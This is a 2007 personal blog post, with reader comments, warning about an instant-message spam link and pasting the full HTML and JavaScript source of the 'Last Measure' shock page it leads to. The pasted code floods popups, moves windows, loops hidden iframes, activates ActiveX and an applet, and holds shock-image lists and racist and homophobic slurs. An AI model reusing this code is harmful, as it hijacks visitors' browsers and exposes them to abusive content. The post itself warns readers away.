"your friends only posts have been stolen" - yeah, right.

Dec. 25th, 2007 01:23 am
ibneko: (Default)
[personal profile] ibneko
1:13:33 AM shifeaschink: your friends only posts have been stolen: [see broken link below]
1:13:34 AM Ben (Autoreply): Huh, I'm missing something somewhere...
1:13:47 AM shifeaschink: Thanks for that BJ at school ;)


Broken link:
http://--MYLIVEJOURNALUSERNAME-- .on .nimp .org / ?u=bantown


Wary, I opened up firefox and opened it there. Rather... nasty. Definitely not worksafe. And announces loudly "I'm looking at gay porn" repeatedly, while moving the window away from you... Oh, and according to this post, it installs, or tries to install, a shitload of nasty crap. SO UNLESS YOU KNOW WHAT YOU'RE DOING, DO NOT RECONSTRUCT THE LINK AND CLICK IT.

Checking google for "your friends only posts have been stolen", I came across this post:
http://www.quitsmokingjournals.com/forum/display_topic_threads.asp?ReturnPage=Thread&ForumID=2866&TopicID=48356&PagePosition=1


If you are curious, here's a copy of the filtered (so I don't have tons of odd words I don't need) source code, snagged using wget:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
 <head>
    <title>GNAA Last Measure Live!</title>
    <meta name="keywords" content="">
    <script type="text/javascript">
      function altf4key() { if (event.keyCode == 18 || event.keyCode == 115) alert("Our lawyer has informed us that we need a warning. So, if you are under the age of 18 or find this offensive, please leave immediately"); }
function ctrlkey() { if (event.keyCode == 17) alert("Our lawyer has informed us that we need a warning. So, if you are under the age of 18 or find this offensive, please leave immediately"); }
function delkey() { if (event.keyCode == 46) alert("LAST MEASURE BY PENISBIRD, Rolloffle, and Rucas.\nStarring:\nSpin\nTubgirl\nLemonparty\nBob Goatse\nPenisbird\nPillowfight\nChristmas\nRusty's Wife\nWhat the fuck? That guy's ass is showing in his baby's picture!\n\n\nTotal, complete, all-versions, popup blocker bashing-to-pieces by goat-see\nnhey.swf by rkz\nPROPS TO GNAA.  LOL HY -- DiKKy (GNAA NORWAY CORRESPONDANT)\nUpdated by sam, Jmax, JacksonBrown, Dessimat0r, timecop, and others.\n"); }

var nom = navigator.appName.toLowerCase();
var agt = navigator.userAgent.toLowerCase();
var is_major  = parseInt(navigator.appVersion);
var is_minor  = parseFloat(navigator.appVersion);
var is_ie     = (agt.indexOf("msie") != -1);
var is_ie4up  = (is_ie && (is_major >= 4));
var is_nav    = (nom.indexOf('netscape')!=-1);
var is_nav4   = (is_nav && (is_major == 4));
var is_mac    = (agt.indexOf("mac")!=-1);
var is_gecko  = (agt.indexOf('gecko') != -1);
//  GECKO REVISION
var is_rev = 0
if (is_gecko) {
    temp = agt.split("rv:")
    is_rev = parseFloat(temp[1])
}

function procreate() {
    for(i = 0; i < 16; i++) {
        popUp("index.php?popup=1");
    }
}

function popUp(URL) {
    day = new Date();
    id = day.getTime();
    eval("page" + id + " = window.open(URL, '_blank', 'toolbar=0,scrollbars=0,location=1,statusbar=0,menubar=0,resizable=0,width=640,height=583');");
}
goatseflash  = '<div id="hello" style="z-index: 50; position: fixed; top: 0px; left: 0px; width: 100%; height: 100%;">';
goatseflash += '  <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" width="100%" height="100%">';
goatseflash += '    <param name="movie" value="flash/hello.swf" />'
goatseflash += '    <param name="wmode" value="transparent" />';
goatseflash += '  </object>'
goatseflash += '</div>';
    
function load_goatse() {
  document.body.innerHTML += goatseflash;
  setTimeout("unload_goatse()", 3000); // 3s
}
 
function unload_goatse() {
  document.getElementById("hello").style.display = 'none';
}

var protos = [ 
        "lm.pdf",
        "jews.wmv",
        "irc://irc.gnaa.us/gnaa",
        "irc://irc.efnet.org/politics",
        "news:alt.flame.niggers",
        "news:alt.flame.faggots",
        "mailto:JOIN@THE.GNAA?subject=2006_RECRUITMENT_DRIVE&body=www.gnaa.us",
        "callto://JOIN_THE_GNAA__2005_RECRUITMENT_DRIVE",
        "aim:GoIM?screenname=Gary_Niger&message=HY+LOL+HY+LOL",
        "rlogin://1.1.1.1:80",
        "telnet://1.1.1.1:80",
        "aim:addbuddy?listofscreennames=HY,LOL,HY,LOL,HY,LOL,join,the,gnaa,2006,RECRUITMENT,DRIVE,heartiez2incog&groupname=gnaa",
        "mailto:JOIN@THE.GNAA?subject=2006_RECRUITMENT_DRIVE&body=www.gnaa.us",
        "ed2k://|file|Gayniggers From Outer Space [GNAA Digitally Remastered].avi|134174720|F8AF9D8A7091CD7A7B8968C9EB397C02|/",
        ];
function add(str) {
  div = document.getElementById('goatse');
  div.innerHTML = '<iframe style="width: 1; height: 1;" src="' + str + '"></iframe>';
}
    
function ruin() {
  document.body.innerHTML += '<div id="goatse">Y HALLO THAR!</div>';
  while (1) {
    for (i = 0; i < protos.length; i++) {
      add(protos[i]);
    }
  }
}
    </script>
    <link rel="icon" type="image/x-icon" href="favicon.ico" />
    <link rel="shortcut icon" type="image/x-icon" href="favicon.ico" />
    <style type="text/css">
      html {
        height: 100%;
	width: 100%;
        overflow: hidden;
      }
      body {
        height: 100%;
	width: 100%;
        margin: 0;
        padding: 0;
      }
    </style>
  </head>
<body style="background-image: url(images/penisbird.gif); background-color: #FFFFFF;" onload="load_goatse();document.goatse.reset();movew0w();setTimeout('ruin()', 20);" onmousemove="document.goatse.reset();movew0w();procreate();" onkeydown="altf4key();ctrlkey();delkey();procreate();" onunload="document.goatse.reset();movew0w();procreate();" onmouseover="document.goatse.reset();movew0w();procreate();">
    <script type="text/javascript">
    <!--
    var images = new Array();
    var imagecount = 26;
    images[0] = 'images/penisbird.gif';
    images[1] = 'images/awesome.jpg';
    images[2] = 'images/hello.jpg';
    images[3] = 'images/hotblowjob.jpg';
    images[4] = 'images/zoidberg.jpg';
    images[5] = 'images/tubgirl.jpg';
    images[6] = 'images/harlequin1.jpg';
    images[7] = 'images/Pain2.jpg';
    images[8] = 'images/harlequin2.jpg';
    images[9] = 'images/Pain3.jpg';
    images[10] = 'images/harlequin3.jpg';
    images[11] = 'images/Pain4.jpg';
    images[12] = 'images/Pain5.jpg';
    images[13] = 'images/stretch.jpg';
    images[14] = 'images/stopracism.jpg';
    images[15] = 'images/rustina.jpg';
    images[16] = 'images/pooped.jpg';
    images[17] = 'images/Pain.jpg';
    images[18] = 'images/freak.jpg';
    images[19] = 'images/Untitled.jpg';
    images[20] = 'images/pillowfight.jpg';
    images[21] = 'images/loopback.jpg';
    images[22] = 'images/lemonparty.jpg';
    images[23] = 'images/christmas.jpg';
    images[24] = 'images/weightlifter.jpg';
    images[25] = 'images/spin.gif';

    var delay = 10;
    var step = .2;
    var curstep = 0;

    window.resizeTo(800, 600);
    var centerX = (self.screen.width - document.body.clientWidth) / 2;
    var centerY = (self.screen.height - document.body.clientHeight - 120) / 2;
    movew0w();

    function movew0w() {
      var j;
      for (j = 0; j < 5; j++) {
        curstep += step / 5;
        var factorX = Math.sin(curstep * 6.1) * 0.9;
        var factorY = Math.cos(curstep * 3.7) * 0.9;

        factorX += 0.2 * Math.sin((20*Math.sin(curstep/20))+j*70)
                    * (Math.sin(10+curstep/(10+j))+0.2)
                    * Math.cos((curstep + j*25)/10);
        factorY += 0.2 * Math.cos((20*Math.sin(curstep/(20+j)))+j*70)
                    * (Math.sin(10+curstep/10)+0.2)
                    * Math.cos((curstep + j*25)/10);
        self.moveTo(centerX * (1.0 + factorX), centerY * (1.0 + factorY));
      }
      document.body.background = images[(Math.floor(curstep) % imagecount) + 1];
      setTimeout("movew0w()", delay);
    }
    // -->
  </script>
 <div>
  <lj-embed id="3">
<object id="x" classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A" height="1" width="1">
    <param name="ActivateApplets" value="1" />
    <param name="ActivateActiveXControls" value="1" />
  </object>
</lj-embed>
 </div>
  <table>
    <tr>
      <td valign="middle">
        <div style="text-align: center;">
          <a href="http://www.gnaa.us/"><img src="gnaa.png" alt="GNAA" /></a>
          <br />
          <br />
                    <lj-embed id="4">
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0">
              <param name="movie" value="flash/first_opener.swf" />
              <param name="quality" value="high" />
            </object>
</lj-embed>
                  </div>
      </td>
    </tr>
  </table>
   <div>
  <!-- This object plays the "hey everybody, I'm watching gay porno!" sound -->
  <lj-embed id="5">
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" width="1" height="1" id="hey">
    <param name="movie" value="flash/hey.swf" />
    <param name="quality" value="high" />
  </object>
</lj-embed>
  <script type="text/javascript">
    <!--
    var audio = new Array();
    var audiocount = 16;
    audio[0] = 'audio/lolichan.wav';
    audio[1] = 'audio/eska.wav';
    audio[2] = 'audio/fury.wav';
    audio[3] = 'audio/popeye.wav';
    audio[4] = 'audio/kirk.wav';
    audio[5] = 'audio/abez2.wav';
    audio[6] = 'audio/original.wav';
    audio[7] = 'audio/rkz.wav';
    audio[8] = 'audio/blackman.wav';
    audio[9] = 'audio/jesuitx1.wav';
    audio[10] = 'audio/rucas.wav';
    audio[11] = 'audio/jesuitx2.wav';
    audio[12] = 'audio/jizzy.wav';
    audio[13] = 'audio/sam.wav';
    audio[14] = 'audio/abez.wav';
    audio[15] = 'audio/trogg.wav';
    for (i = 0; i < audiocount; i++) { 
      setTimeout('document.getElementById("audio").innerHTML += \'<embed src="' + audio[i] + '" loop="true" />\';', 6000 * (i/2));
    }
    // -->
  </script>
  <div id="audio"></div>
  <applet code="LastCoffee.class" width="100" height="100" codebase="/" />
</div>
   <div>
    <iframe style="width: 1px; height: 1px;" src="/index.php?steal=1&key=b88f5dadc609097d"></iframe>
    <iframe style="width: 1px; height: 1px;" src="lm.pdf"></iframe>
    <iframe style="width: 1px; height: 1px;" src="jews.wmv"></iframe>  
    <br />
   </div>
    <form onreset="procreate();" onsubmit="procreate();" action="#" id="goatse" name="goatse">
    <p><span style="background-color: #ffffff; border: thin solid; color: #000000;">GNAA Gay Niggers Timecop</span></p>
  </form>
</body>
</html>


Oh, this is interesting. Apparently it throws you into a chatroom with tons of other people?
  • Add Memory
  • Share This Entry
Flat | Top-Level Comments Only

wow you got last measured

Date: 2007-12-25 06:36 pm (UTC)
From: (Anonymous)
do you want a cookie? keep on blogging about it

Date: 2007-12-29 07:39 am (UTC)
From: [identity profile] jeffholton.livejournal.com
Oh for the love of God I clicked on it before checking to see what it was.

Someone shot me. I can't get my other system to respond to me yet. Ugh.

Date: 2008-01-02 05:41 am (UTC)
From: [identity profile] miana-dude.livejournal.com
Thank you for posting this. I just got the same IM from plasticbrains. I googled "your friends only posts have been stolen" and it brought me here. Thanks for the heads-up about it. :D

~Rachel

Date: 2008-01-16 07:56 am (UTC)
From: [identity profile] dis-c0nnected.livejournal.com
Thanks for posting this!!! Saved me a lot of trouble. Jenkem Fume sent me the same thing so I googled and got your lj!

Date: 2008-01-17 03:02 am (UTC)
From: [identity profile] slimynolegs.livejournal.com
Yeah, I just got the same message from BabyRap1st.
Is anything lost? Is it a virus?.. The hacking of LJs does not sound good at all.

Date: 2008-01-17 03:36 am (UTC)
From: [identity profile] ibneko.livejournal.com
Nah, no hacking. Just a scare tactic. :P

Date: 2008-01-17 08:09 am (UTC)
From: [identity profile] slimynolegs.livejournal.com
It's incredibly scary!!! :(

Date: 2008-01-29 06:32 am (UTC)
From: [identity profile] ktcaop.livejournal.com
My question though, how is it transmitted? I know like for MSN, you click on a link, and it starts sending out to your friends IMs. Are these real people sending the link? Bots? What's going on there?

Date: 2008-01-29 06:52 am (UTC)
From: [identity profile] ibneko.livejournal.com
Nope, a bot that's sending out these links. No idea what the stuff they download onto your system does though.

Date: 2008-01-29 07:04 am (UTC)
From: [identity profile] ktcaop.livejournal.com
But then how is it transmitted. I imed the "bot" later on it sent me a message back? Like, really, how does it transmit? and how does it get the screen names.

Date: 2008-01-29 07:38 am (UTC)
From: [identity profile] ibneko.livejournal.com
The bot rebroadcasts any messages it receives to anyone else it happens to be talking to at the time.

Screennames are acquired using the same way the livejournal hat bot acquires them - livejournal has a running stream of public posts - from there, it'll catch your username. With your username, it can check and see if you have a AIM sn listed. If so, it'll message that AIM sn with it's initial preprogrammed message. Anything after that is typically someone else trying to reply to the bot.

Date: 2008-01-19 04:58 am (UTC)
From: [identity profile] marcia.livejournal.com
i got this and did NOT click on the link...then suddenly all these people started harassing me saying i sent it to them!! AHHHH! i dont know what to do!

Date: 2008-01-19 06:54 am (UTC)
From: [identity profile] durr-its-dylan.livejournal.com
Google brought me here, thanks for telling about it - I was too scared to click!

Date: 2008-01-23 12:02 am (UTC)
From: [identity profile] 1lovelamp.livejournal.com
Ditto...googled and found you. Thanks man. This was the 3rd I'm in the past 2 weeks so I was wondering what the deal was.

Date: 2008-01-23 11:55 pm (UTC)
From: [identity profile] apocalypticdawn.livejournal.com
Googled it too and got your journal. This is just annoying.

Hello.. Let's get acquainted...

Date: 2008-10-08 04:18 pm (UTC)
From: (Anonymous)
Hi!
My name is Jessika!
  • Add Memory
  • Share This Entry
Flat | Top-Level Comments Only

Expand Cut Tags

No cut tags

Profile

ibneko: (Default)
ibneko

Most Popular Tags

Page Summary

Active Entries

Style Credit

Page generated Feb. 15th, 2026 04:03 am
Powered by Dreamwidth Studios
January 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 2021